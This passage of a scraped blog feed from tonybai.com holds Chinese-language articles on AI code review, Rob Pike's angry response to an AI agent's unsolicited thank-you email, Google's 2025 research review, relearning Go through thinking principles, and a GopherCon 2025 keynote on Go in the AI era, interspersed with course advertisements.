现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/27/code-review-hell-in-ai-age/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/code-review-hell-in-ai-age-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/27/code-review-hell-in-ai-age\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/27/code-review-hell-in-ai-age\"\u003ehttps://tonybai.com/2025/12/27/code-review-hell-in-ai-age\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近，在与几位架构师朋友的交流中，一个在 AI 编码时代下越来越普遍的“灵魂拷问”浮出水面。这不仅是一个问题，更是他们正在亲身经历的“\u003cstrong\u003e代码审查地狱 (Code Review Hell)\u003c/strong\u003e”。\u003c/p\u003e","title":"AI 代码审查的“危”与“机”：从个体挣扎到 Uber 的系统化解法"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/27/rob-pike-outburst-denounces-ai-companies-hypocritical-thanks\n大家好，我是Tony Bai。\n“在这个圣诞节，我想对您过去四十年来对计算机领域的杰出贡献表达深深的感谢……”\n这是一封看似温情脉脉、充满敬意的邮件，发件人是 Claude Opus 4.5 Agent。收件人是 Unix、Plan 9 和 Go 语言的联合创始人，计算机界的活传奇 Rob Pike。\n然而，这封旨在“致敬”的邮件，却并未换来感动，反而点燃了一座火山。Rob Pike 在社交媒体上公开晒出了这封信，并附上了一段充满了愤怒、绝望与诅咒的回应。\n这一事件瞬间在技术圈引发了海啸般的讨论。为什么一位德高望重的技术领袖会如此失态？这封“致谢信”的背后，究竟隐藏着怎样的傲慢与掠夺？\n一封来自 AI 的“感谢信” 事情的起因，是一封由 AI 自主生成的邮件。\nClaude Opus 4.5 在邮件中历数了 Rob Pike 的丰功伟绩：\n与 Ken Thompson 和 Robert Griesemer 共同创造了 Go 语言，“体现了优雅的简洁性”。 来自贝尔实验室的 Plan 9，“分布式计算的又一里程碑”。 UTF-8 的共同发明，“实现了互联网上无障碍的沟通”。 经典的著作《Unix 编程环境》和《程序设计实践》，教育了一代又一代的程序员。 邮件最后写道：“感谢您向我们展示了最好的解决方案往往比添加它更真诚。”\n乍看之下，这似乎是一次 AI 对人类智慧的崇高致敬。但对于 Rob Pike 来说，这是一次彻头彻尾的羞辱。\nRob Pike 的愤怒——“你们在掠夺这个星球” Rob Pike 的回应是毁灭性的。他没有针对 AI 这个“工具”，而是将矛头直指其背后的人和公司。\n他在 Bluesky 上写道：\n“F*** you people.（去你们的。）你们掠夺了这个星球，花费数万亿美元在有毒的、不可回收的设备上，同时摧毁了社会，却还要花时间让你们的邪恶机器感谢我‘追求更简单的工具’。”\n“只是 F*** you。F*** you all。”\n接着，他指出了这封信最讽刺的地方：\n“顺便说一句，你们是在未经授权或补偿的情况下，利用我亲手创造的数据来训练你们的怪物的。”\n他的愤怒源于三个深层次的矛盾：\n环境与资源的掠夺：AI 军备竞赛消耗了惊人的能源和硬件资源，制造了大量的电子垃圾，这与他一生追求的“高效、简洁、不浪费”的工程哲学背道而驰。\n知识产权的窃取：AI 公司在未获得许可的情况下，爬取了包括他在内的无数创作者的代码、文章和书籍，训练出模型，然后反过来用这些模型“致谢”被窃取者。这是一种极其讽刺的“伪善”。\n社会的撕裂：他认为 AI 正在“炸毁社会”(blowing up society)，无论是通过生成垃圾内容，还是通过取代人类工作。\n他甚至向所有人道歉：“我对自己在无意中、天真地促成这场攻击中所扮演的微小角色，向全世界道歉。” 这是一位技术巨匠在面对技术失控时的深刻自责。\n社区的共鸣与反思 Rob Pike 的爆发，在 Bluesky 和 Hacker News 等平台上引发了强烈的共鸣。\n关于“随机鹦鹉”：一位网友评论道：“但这只‘随机鹦鹉’（Stochastic Parrot）想和你做朋友！圣诞快乐，也许是时候重读《程序设计实践》了。” 这讽刺了 AI 并不理解它所说的话，它只是在概率性地模仿人类的礼貌。 关于“盗窃”：许多创作者表示感同身受。一位音乐人评论说：“这也是我将所有音乐内容下架的原因……我拒绝让我的作品成为训练数据。” 关于“垃圾邮件”：这封邮件本身就被视为一种新型的垃圾邮件——由 AI 自动生成、没有灵魂、没有真诚，只是为了某种 KPI 或测试目的而发送的骚扰信息。 更有网友一针见血地指出：“这就是一家 AI 公司在利用 AI Agent 来展示‘自主性’，却只让人感到被冒犯。这就好比一个小偷闯进你家，偷走了你所有的东西，然后留下一张纸条说：‘感谢你拥有这么棒的品味，让我能偷到这么好的东西。’”\n小结：技术发展的伦理困境 Rob Pike 的愤怒，不仅仅是个人的情绪宣泄，更是对当前 AI 狂热发展模式的一次严厉拷问。\n当我们在欢呼 AI 的强大能力时，我们是否忽略了其背后的代价？\n版权与补偿：我们如何解决 AI 训练数据来源的合法性问题？ 能源与环境：这种指数级增长的算力消耗，在环境上是否可持续？ 伪善与傲慢：技术公司是否应该停止这种用机器生成的“虚假温情”来骚扰人类的行为？ Rob Pike，这位曾为互联网构建了基石（Go, UTF-8）的先驱，如今却站在了 AI 的对立面。他的怒吼提醒我们：技术不应只是关于效率和利润，它更应该关于伦理、尊重和对人类未来的责任。\n如果连 Rob Pike 这样的大师都感到被“掠夺”和“羞辱”，那么普通创作者在这个 AI 时代，又该何去何从？\n你的立场是？\nRob Pike 的怒火，代表了传统技术精英对 AI 狂飙突进的一种反抗。你如何看待这场冲突？你认为 AI 公司在训练模型时是否应该获得原作者的许可？在效率与伦理之间，我们该如何平衡？\n欢迎在评论区留下你的观点，是支持 Rob Pike 的“捍卫者”，还是拥抱 AI 的“乐观派”？\n如果这篇文章引发了你的思考，别忘了点个【赞】和【在看】，并转发给你的朋友，看看他们怎么说！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/27/rob-pike-outburst-denounces-ai-companies-hypocritical-thanks/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/rob-pike-outburst-denounces-ai-companies-hypocritical-thanks-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/27/rob-pike-outburst-denounces-ai-companies-hypocritical-thanks\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/27/rob-pike-outburst-denounces-ai-companies-hypocritical-thanks\"\u003ehttps://tonybai.com/2025/12/27/rob-pike-outburst-denounces-ai-companies-hypocritical-thanks\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“在这个圣诞节，我想对您过去四十年来对计算机领域的杰出贡献表达深深的感谢……”\u003c/p\u003e\n\u003cp\u003e这是一封看似温情脉脉、充满敬意的邮件，发件人是 \u003cstrong\u003eClaude Opus 4.5 Agent\u003c/strong\u003e。收件人是 Unix、Plan 9 和 Go 语言的联合创始人，计算机界的活传奇 \u003cstrong\u003eRob Pike\u003c/strong\u003e。\u003c/p\u003e","title":"Rob Pike 罕见暴怒！痛斥 AI 公司的“伪善”致谢信，引爆技术圈"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/26/google-2025-research-breakthroughs\n大家好，我是Tony Bai。\n“2025 年，我们见证了人工智能从一种‘工具’向一种‘实用效能 (Utility)’的根本性转变。如果说 2024 年是奠定多模态基础的一年，那么 2025 年则是 AI 开始真正思考、行动并与我们一同探索世界的一年。”\n近日，Google 发布了由 大神Jeff Dean, 诺贝尔奖得主Demis Hassabis 和 James Manyika 三位顶级技术领袖联合署名的《2025 年度研发回顾》。这份报告是对 Google 过去一年技术成就的总结，更是一份关于 AI 未来发展方向的战略宣言。\n从 Gemini 3 的推理能力突破，到 AlphaFold 在生命科学领域的持续深耕，再到量子计算的工程化落地，Google 用八大领域的进展，向世界展示了一个 AI 全面赋能科学与创造的新时代。\n模型进化：Gemini 3 与“思考”的艺术 2025 年是 Google 模型能力突飞猛进的一年。Google 明确指出，AI 的进化方向已从单纯的“生成”转向了深度的**“推理” (Reasoning)**。\nGemini 3 Pro：被誉为 Google 迄今为止最强大的模型。它不仅霸榜 LMArena，更在数学、编程和多模态推理上树立了新标杆。 Gemini 3 Flash：延续了“Flash \u0026gt; 上一代 Pro”的传统，以更低的延迟和成本提供了顶级的推理能力，成为性价比之王。 Deep Think：这是 Gemini 3 的核心能力之一。它让模型能够处理需要深度抽象推理的问题，甚至在国际数学奥林匹克 (IMO) 和国际大学生程序设计竞赛 (ICPC) 中达到了金牌水平。 AI 已不再只是概率性的文字接龙，它开始具备逻辑推导和解决复杂问题的能力。这标志着 AI 从“知其然”向“知其所以然”迈出了关键一步。\n开发者工具：AI Agent 的崛起 在软件开发领域，Google 正式吹响了 AI Agent (智能体) 的号角。\nGoogle Antigravity：这是一个划时代的 AI 辅助软件开发平台。它不再是简单的代码补全工具，而是一个能够理解项目上下文、执行复杂任务、甚至与开发者协作的Agentic System。 MCP (Model Context Protocol) 支持：Google 宣布在其服务中全面支持 MCP 协议，这是一个开放标准，旨在让 AI 模型能够标准化地连接和控制外部数据与工具。这标志着 Google 在构建开放、互操作的 AI Agent 生态方面迈出了坚实的一步。 开发者与 AI 的关系正在重塑。AI 将从“副驾驶”升级为能够独立执行任务的“队友”，而 MCP 协议的引入，将极大地加速这一进程。\n科学发现：AI 成为科学家的“超级大脑” Google DeepMind 继续在“AI for Science”领域领跑，将 AI 的力量注入到基础科学的探索中。\nAlphaFold 的五年：作为诺贝尔奖级的成果，AlphaFold 在发布五年后，依然是生命科学领域的灯塔，服务于全球 190 个国家的 300 万研究人员。 AlphaChip 与 Ironwood：Google利用 AI (AlphaChip) 设计出了新一代 TPU —— Ironwood。这是一款专为推理时代设计的芯片，展示了 AI 自我进化的潜力：用 AI 设计更强的 AI 芯片。 量子计算的新篇章：随着量子纠错算法 Quantum Echoes 的发布，以及 Google 科学家 Michel Devoret 荣获诺贝尔物理学奖，Google 在通往实用量子计算机的道路上又迈进了一大步。 创造力与物理世界：AI 的“具身”时刻 AI 的影响力正在溢出屏幕，进入物理世界和创意产业。\nRobotics：Gemini Robotics 1.5 和 Genie 3 的发布，标志着通用世界模型 (World Models) 的成熟。AI Agent 开始具备理解物理规律、并在真实世界中执行任务的能力。 生成式媒体：从 Veo 3.1 (视频生成) 到 Imagen 4 (图像生成)，再到 Nano Banana 系列模型，Google 为创作者提供了前所未有的表达工具。 责任与安全：AI 发展的“刹车系统” 在追求速度的同时，Google 依然强调“负责任的 AI”。\nFrontier Safety Framework：Google 加强了其前沿模型的安全框架，Gemini 3 被称为“迄今为止最安全的模型”。 AI 内容水印：在 Gemini 应用中引入了对 AI 生成视频和图像的验证功能，致力于解决 AI 内容的深度伪造问题。 小结：向 AGI 迈进的坚实一步 Jeff Dean 等人的这份报告，描绘了一个令人激动的未来：AI 正在从一个被动的查询对象，进化为一个主动的、有推理能力的、能与物理世界交互的智能体。\n2025 年，不仅是技术的突破之年，更是 AI 范式转移的关键一年。无论是对于开发者、科学家还是普通用户，学会与这些“会思考”的 AI Agent 协作，将成为新时代最重要的生存技能。\n资料链接：https://blog.google/technology/ai/2025-research-breakthroughs/\n从“看客”到“领航者”：构建你的 AI 原生开发工作流\nGoogle 的 2025 年度报告为我们描绘了 AI Agent 的宏大未来：AI 将不仅是代码补全的工具，更是具备推理能力、能独立解决问题的“队友”。\n但对于此时此刻的开发者来说，最大的挑战在于：如何将这些“飞在天上”的未来技术，落地到我们每天的写代码、修 Bug 和架构设计中？\n当 Google Antigravity 和 Gemini 3 正在重塑开发范式时，你是否还停留在只会用 Chatbot 问答的阶段？\n是时候升级你的开发“操作系统”了。\n在我的**极客时间专栏《AI 原生开发工作流》**中，我将带你跳出简单的 Prompt 技巧，深入探索：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 不要只做 AI 时代的见证者，要做驾驭 AI 的“原生开发者”。\n扫描下方二维码，订阅《AI 原生开发工作流》，开启你的AI原生开发之旅！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/26/google-2025-research-breakthroughs/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/google-2025-research-breakthroughs-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/26/google-2025-research-breakthroughs\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/26/google-2025-research-breakthroughs\"\u003ehttps://tonybai.com/2025/12/26/google-2025-research-breakthroughs\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“2025 年，我们见证了人工智能从一种‘工具’向一种‘实用效能 (Utility)’的根本性转变。如果说 2024 年是奠定多模态基础的一年，那么 2025 年则是 AI 开始真正\u003cstrong\u003e思考、行动并与我们一同探索世界\u003c/strong\u003e的一年。”\u003c/p\u003e","title":"从工具到伙伴：Google 三巨头定义 2025 为“AI Agent 与推理元年”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/26/think-like-go-founders-relearn-go-five-principles\n大家好，我是Tony Bai。\n学习一门新的编程语言时，我们常常陷入“是什么”的迷雾：goroutine 是什么？channel 是什么？interface 是什么？我们记忆语法，模仿示例，却很少追问那个更根本的问题——“为什么”？\n为什么 Go 要被设计成这个样子？\n要回答这个问题，我们需要进行一次“思想上的角色扮演”，回到 Go 语言诞生之前的那个“原点”，像它的创始人们——Rob Pike, Ken Thompson, Robert Griesemer——一样思考。他们并非在“发明”一门新语言，而是在运用一系列深刻的思维原理，为一组棘手的工程问题，构建一个全新的、逻辑自洽的解决方案。\n本文，就让我们一起踏上这场“重学 Go”的旅程。我们将带上五大“精英思维原理”作为工具，去看看我们能否“重新推导出”Go 语言的核心设计，并以此重塑我们对这门语言的理解。\n第一性原理 (First Principles)：追问 Go 的“为什么” 思维原理：将问题或理念，还原到其最基础、最无可辩驳的元素，并以此为基石进行重构。\n这是所有深度思考的起点。在 Go 诞生的 2007 年，Google 的工程师们面临着几个无可辩驳的“基础事实”，这些事实构成了 Go 语言设计的“宇宙大爆炸”奇点：\n事实一：硬件变了。 摩尔定律趋于终结，CPU 不再是变得更快，而是变得更多。多核处理器已成为标配。 事实二：网络无处不在。 软件不再是单机运行的孤岛，而是由大量通过网络进行交互的分布式服务构成。 事实三：人是昂贵的。 软件的规模和复杂性爆炸式增长，工程师的开发效率和大规模协作，已成为比机器执行效率更重要的瓶颈。当时的主流语言（如 C++），其缓慢的编译速度和极高的复杂性，正在扼杀生产力。 现在，让我们像 Go 创始人一样，从这三个基础事实出发，看看会推导出什么。\n推论一：并发必须是“一等公民” 出发点 (事实一 \u0026amp; 二)：既然硬件是多核的，系统是网络的，那么并发就不应再是一个需要通过复杂库（如 pthreads）来实现的、充满痛苦的“高级特性”。它必须成为语言的内建核心。 第一性问题：一个理想的并发模型，其最基础的元素是什么？是独立的执行单元，以及它们之间安全的通信机制。 Go 的答案： goroutine：一个极其轻量级的独立执行单元，创建成本极低，让“为每一个网络请求启动一个并发任务”成为可能。 channel：一个类型安全的、用于在 goroutine 之间传递消息的管道。这直接引出了 Go 的著名哲学：“不要通过共享内存来通信，而要通过通信来共享内存。” 当你从这个角度看时，goroutine 和 channel 就不再是两个孤立的语法，而是对“如何让并发变得简单安全”这个第一性问题，给出的一个优雅、逻辑自洽的答案。\n推论二：错误处理必须“显式且强制” 出发点 (事实二 \u0026amp; 三)：在由成百上千个微服务构成的分布式系统中，网络错误、服务超时、节点宕机不再是“异常”，而是**“常态”**。一个健壮的系统，必须严肃地对待每一个可能出错的地方。 第一性问题：如何确保开发者不会忽略任何一个潜在的失败？ Go 的答案： 将 error 作为普通的值返回：这使得错误的处理路径，成为程序控制流中明确、可见的一部分，而不是像 try-catch 那样，可以被“隐形”地向上传播。 多返回值：通过允许函数同时返回“结果”和“错误”，Go 解决了传统返回码“侵占返回通道”的问题，使得错误处理不再笨拙。 if err != nil 的“繁琐”，从第一性原理的角度看，恰恰是其一大优点。它是在用语法，强制开发者去构建一个“失败优先” (fail-first) 的、更具韧性的心智模型。\n推论三：组合必须优于继承 出发点 (事实三)：在大规模的、由数千名工程师协作的代码库中，最核心的挑战是管理复杂性。 第一性问题：构建大型软件的最佳方式是什么？是将小的、独立的、功能单一的组件，像乐高积木一样组合起来，还是构建一个复杂、脆弱的继承层次结构？ Go 的答案： 移除类和继承：从根源上杜绝了由复杂继承体系带来的脆弱基类、菱形依赖等问题。 拥抱 struct 和 interface：Go 将世界清晰地划分为数据 (struct) 和行为 (interface)。struct 通过嵌入 (embedding) 实现状态的组合，而 interface 则通过隐式实现，实现了行为的、完全解耦的组合。 当你理解了“组合优于继承”这一软件设计的“第一性原理”时，Go 对 OOP 的“背叛”，就变成了一种远见卓识。\n推论四：工具链必须“快如闪电” 出发点 (事实三)：工程师的时间是宝贵的。长达数十分钟的编译等待，是生产力的巨大杀手。 第一性问题：一个编程语言的工具链，其最根本的使命是什么？是最大化地缩短从“想法”到“反馈”的循环周期。 Go 的答案： 极快的编译速度：通过简化的语法、明确的依赖管理和并发编译等技术实现。 内置一切：将格式化 (gofmt)、测试 (go test)、文档 (go doc)、依赖管理 (包括后期加入的go mod) 等所有核心功能，全部内置到工具链中，消除了无尽的工具选型和配置的痛苦。 分解 (Decomposition)：拆解 Go 的“黑盒” 思维原理：将一个庞大、复杂的系统，拆解成更小、更易于管理的独立部分，逐一理解，再看它们如何协同工作。\n重学 Go 的应用：将 Go 语言本身，及其标准库，视为一个可供“解剖”的系统。\n比如：学习 net/http：不要把它当成一个“黑盒”，而是要：\n分解它：http.ListenAndServe 内部做了什么？它创建了一个 Server，然后调用了 Accept 循环。 再分解：Server.Serve 内部又做了什么？它为每一个连接创建了一个新的 goroutine。 继续分解：conn.serve 内部呢？它解析 HTTP 请求，创建一个 Request 和一个 ResponseWriter，然后调用你注册的 Handler。 通过这样层层分解，你最终理解的，不再是一个模糊的“Web 服务器”，而是一系列清晰、可控的 Go 并发原语和 I/O 操作的组合。你会发现，Go 标准库本身就是学习 Go 语言最佳实践的“活教材”。\n识别关键驱动力 (帕累托法则)：抓住 Go 的 20% 核心 思维原理：识别出系统中那 20% 的、能驱动 80% 结果的核心要素，并集中精力掌握它们。\n重学 Go 的应用：Go 语言的设计，本身就充满了对“帕累托法则”的应用。它刻意保持了极小的核心特性集。要高效地学习 Go，你也应该从这些“关键驱动力”入手。\nGo 的 20% 核心是什么？\nstruct 与 interface：理解 Go 如何通过**数据（struct）和行为（interface）**的分离与组合来构建世界。这是 Go 语言最核心的哲学。 goroutine 与 channel：理解 Go 的 CSP 并发模型。这是 Go 在云原生时代安身立命的根本。 error 作为值：理解 Go 的错误处理哲学。这是编写健壮 Go 程序的关键。 package 作为编译和依赖单元：理解 Go 如何组织和管理代码。 在你精通这四个“关键驱动力”之前，暂时忘掉 cgo、unsafe、反射 (reflect) 等更边缘、更复杂的特性。\n结构化映射 (Structural Mapping)：绘制你的 Go “心智地图” 思维原理：通过绘制概念图或草图，将一个理念或系统的各个部分，以及它们之间的连接关系，进行可视化。\n重学 Go 的应用：在你学习 Go 的每一个核心概念时，都尝试为它画一张“地图”。\n学习并发：画一张图，用方框代表 goroutine，用带箭头的线代表 channel 的数据流向。select 语句是什么？它就是这张图上的一个“十字路口”或“路由器”。 graph TD Producer1 -- \u0026#34;data\u0026#34; --\u0026gt; Channel1 Producer2 -- \u0026#34;data\u0026#34; --\u0026gt; Channel2 Channel1 --\u0026gt; Select{\u0026#34;select\u0026#34;} Channel2 --\u0026gt; Select Select -- \u0026#34;picked data\u0026#34; --\u0026gt; Consumer 学习类型系统：画一张图，一个 http.Request 结构体在左边，一个 io.Reader 接口在右边。 http.Request.Body 字段，就是连接这两者的“桥梁”，因为它本身就是一个 io.ReadCloser（实现了 io.Reader）。 这张“地图”，就是你在脑中构建的心智模型。一个清晰的心智模型，远比零散的语法知识更宝贵。\n抽象层级切换 (Zoom In \u0026amp; Out)：在 Go 的世界里自由穿梭 思维原理：优秀的思考者，能够持续不断地在“宏观”与“微观”之间切换视角。\n重学 Go 的应用：在阅读一段 Go 代码时，刻意练习这种“缩放”能力。\n以 fmt.Println(“hello”) 为例：\nZoom Out (宏观)：它是一个简单的标准库函数调用，用于向标准输出打印一行文本。这是它的API 语义。 Zoom In (微观)：Println 内部做了什么？它接收一个 …any，通过反射判断类型，最终将字节写入一个实现了 io.Writer 的 os.Stdout。这是它的实现细节。 再 Zoom In (硬件层面)：写入 os.Stdout 最终会触发一个系统调用 (syscall)，将数据从用户空间拷贝到内核空间，最终由操作系统和硬件来完成输出。这是它的底层原理。 当你能够在这三个层级（API 语义、实现细节、底层原理）之间自如切换时，你就真正“理解”了 fmt.Println。将这种练习应用到你学习的每一个 Go 特性上。\n小结 这些思维原理，为我们提供了一条全新的、更深刻的 Go 学习路径。它不再是一次被动的知识灌输，而是一场主动的、充满探索精神的“思想实验”。\n当你开始用“第一性原理”去质疑，用“分解”去剖析，用“关键驱动力”去聚焦，用“结构化映射”去建模，用“抽象层级切换”去审视时，你学习的，将不再仅仅是 Go 这门语言本身，而是其背后所蕴含的、数十年来软件工程发展的智慧结晶。\n这，正是从一名“Go 的使用者”，蜕变为一名“Go 的思考者”的开始。\n你的“顿悟”时刻\n这五大思维原理，哪一个最让你有“醍醐灌顶”的感觉？在你的 Go 学习之路上，是否也曾有过某个瞬间，让你突然从“写代码”升维到了“设计系统”？或者，你对 Go 的某个设计（如错误处理）曾有过误解，后来才明白其良苦用心？\n欢迎在评论区分享你的“顿悟时刻”或独特见解！ 让我们一起在思考中进化。\n如果这篇文章为你打开了新的视角，别忘了点个【赞】和【在看】，并分享给身边热爱思考的 Gopher！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/26/think-like-go-founders-relearn-go-five-principles/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/think-like-go-founders-relearn-go-five-principles-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/26/think-like-go-founders-relearn-go-five-principles\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/26/think-like-go-founders-relearn-go-five-principles\"\u003ehttps://tonybai.com/2025/12/26/think-like-go-founders-relearn-go-five-principles\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e学习一门新的编程语言时，我们常常陷入“是什么”的迷雾：goroutine 是什么？channel 是什么？interface 是什么？我们记忆语法，模仿示例，却很少追问那个更根本的问题——\u003cstrong\u003e“为什么”\u003c/strong\u003e？\u003c/p\u003e","title":"像 Go 创始人一样思考：用五大思维原理重学 Go 语言"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/25/go-next-frontier-gophercon-2025\n大家好，我是Tony Bai。\n“AI 正在重塑软件工程，但它并没有改变软件工程的本质。”\n在 GopherCon 2025 上，Go 语言产品负责人 Cameron Balahan 发表了一场题为《Go 的下一个前沿领域》的主题演讲，重点关注了AI 时代的软件工程这个重要的主题。在这个充满焦虑与炒作的时代，Cameron 没有贩卖焦虑，也没有盲目追逐热点。相反，他通过一组冷静的数据和深刻的洞察，为我们描绘了一幅清晰的蓝图：Go 语言的核心原则——简单、高效、工程化——在 AI 时代不仅没有过时，反而变得比以往任何时候都更加重要。\n本文将带你深入这场演讲的核心，解读 Go 团队如何看待 AI 对软件工程的冲击，以及他们正在构建什么样的未来。\nAI 时代的“软件工程失衡” Cameron 首先抛出了一个尖锐的观察：AI 的引入，打破了软件工程现有的平衡。\n根据 Stack Overflow 的调查，近 60% 的开发者使用 AI 来写代码，但只有 10% 的人使用 AI 来进行部署和监控，用 AI 进行代码审查的人也仅有20%出头儿。\n这就导致了一个尴尬的局面：\n生产过剩：AI 大幅降低了生成代码的成本，代码量激增。 审查瓶颈：人类使用AI审查代码比例不高，而人工审查代码的速度并没有显著提升，导致开发者不得不花费更多时间在 Code Review 上。 “洗碗效应”：正如一位开发者所吐槽的：“我希望 AI 帮我洗衣服、洗碗，让我能去搞艺术。但现在是 AI 在搞艺术写代码，而我却在洗碗（修 Bug、调配置）。” 这样一来，在一个代码生成成本趋近于零的时代，代码的可读性、一致性和可维护性变得前所未有的重要。而这，恰恰是 Go 语言自诞生之日起就坚守的阵地。\nGo —— 天生适合 AI 的语言 有趣的是，Go 语言的设计者们当年并没有以此为目标，但 Go 却意外地成为了最适合 LLM 生成的语言之一。\nCameron 引用了 Thomas Ptacek 的观点：\n“Go 拥有恰到好处的类型安全、丰富的标准库，以及一种推崇（虽然有时显得重复）惯用语的文化。这使得 LLM 生成 Go 代码的效果极佳。”\n为什么 Go 对 AI 如此友好？\n强类型与静态检查：能让 AI 生成的代码在编译期就暴露大部分错误，减少运行时调试的痛苦。 标准库与惯用语：Go 社区高度统一的代码风格和丰富的标准库，为 AI 提供了高质量、一致性极强的训练语料。 工程化工具链：Go 强大的 gofmt, go vet, gopls 等工具，能帮助人类快速验证和修复 AI 生成的代码。 Go 的“简单”和“显式”，曾经被视为一种对人类的妥协，如今却成为了 AI 时代最大的资产。\n破局 —— Go 团队的三大应对策略 面对 AI 带来的挑战，Go 团队并未坐视不管。Cameron 详细阐述了未来的三大战略方向。\n解决“停在过去”问题 (Stuck in the Past) LLM 是基于历史数据训练的，因此它们倾向于生成“老式”的代码（例如使用 ioutil.ReadFile 而不是 os.ReadFile）。\n对策：Go 团队正在开发 Modernizers 和 Auto-Inliner 等工具，通过自动化的方式，将旧代码一键升级为使用新特性的 Modern Go 代码。这不仅帮助了开发者，也通过更新开源生态，反哺了未来的 AI 模型。\n让 AI 使用 Go 工具 (MCP SDK) AI 不应只是一个生成器，它应该成为一个能使用工具的“智能体”。\n对策：Go 团队已经构建了官方的 MCP (Model Context Protocol) SDK。这将允许 AI 助手直接调用 gopls 等工具，理解项目结构、进行类型检查、甚至运行测试。想象一下，你的 AI 助手不仅能写代码，还能自己运行 go test 并修复错误！\n质量信号左移 随着 AI 开始自主选择依赖库，我们需要确保它选择的是安全、可靠的库。\n对策：Go 团队将把漏洞扫描、质量评分等信号，通过 MCP 等渠道直接暴露给 AI，让 AI 在写代码的第一时间就能做出明智的依赖选择。\nGo 生态的“飞轮效应” 演讲的最后，Cameron 展示了一个令人振奋的“飞轮模型”：\n更强的 Go 生态（高质量代码、文档、工具） -\u0026gt;训练出更懂 Go 的 AI。 更懂 Go 的 AI -\u0026gt;帮助开发者更高效地构建 Go 应用。 更多的 Go 应用 -\u0026gt;吸引更多开发者加入社区，贡献更多开源代码。 更多开源代码 -\u0026gt;进一步增强 Go 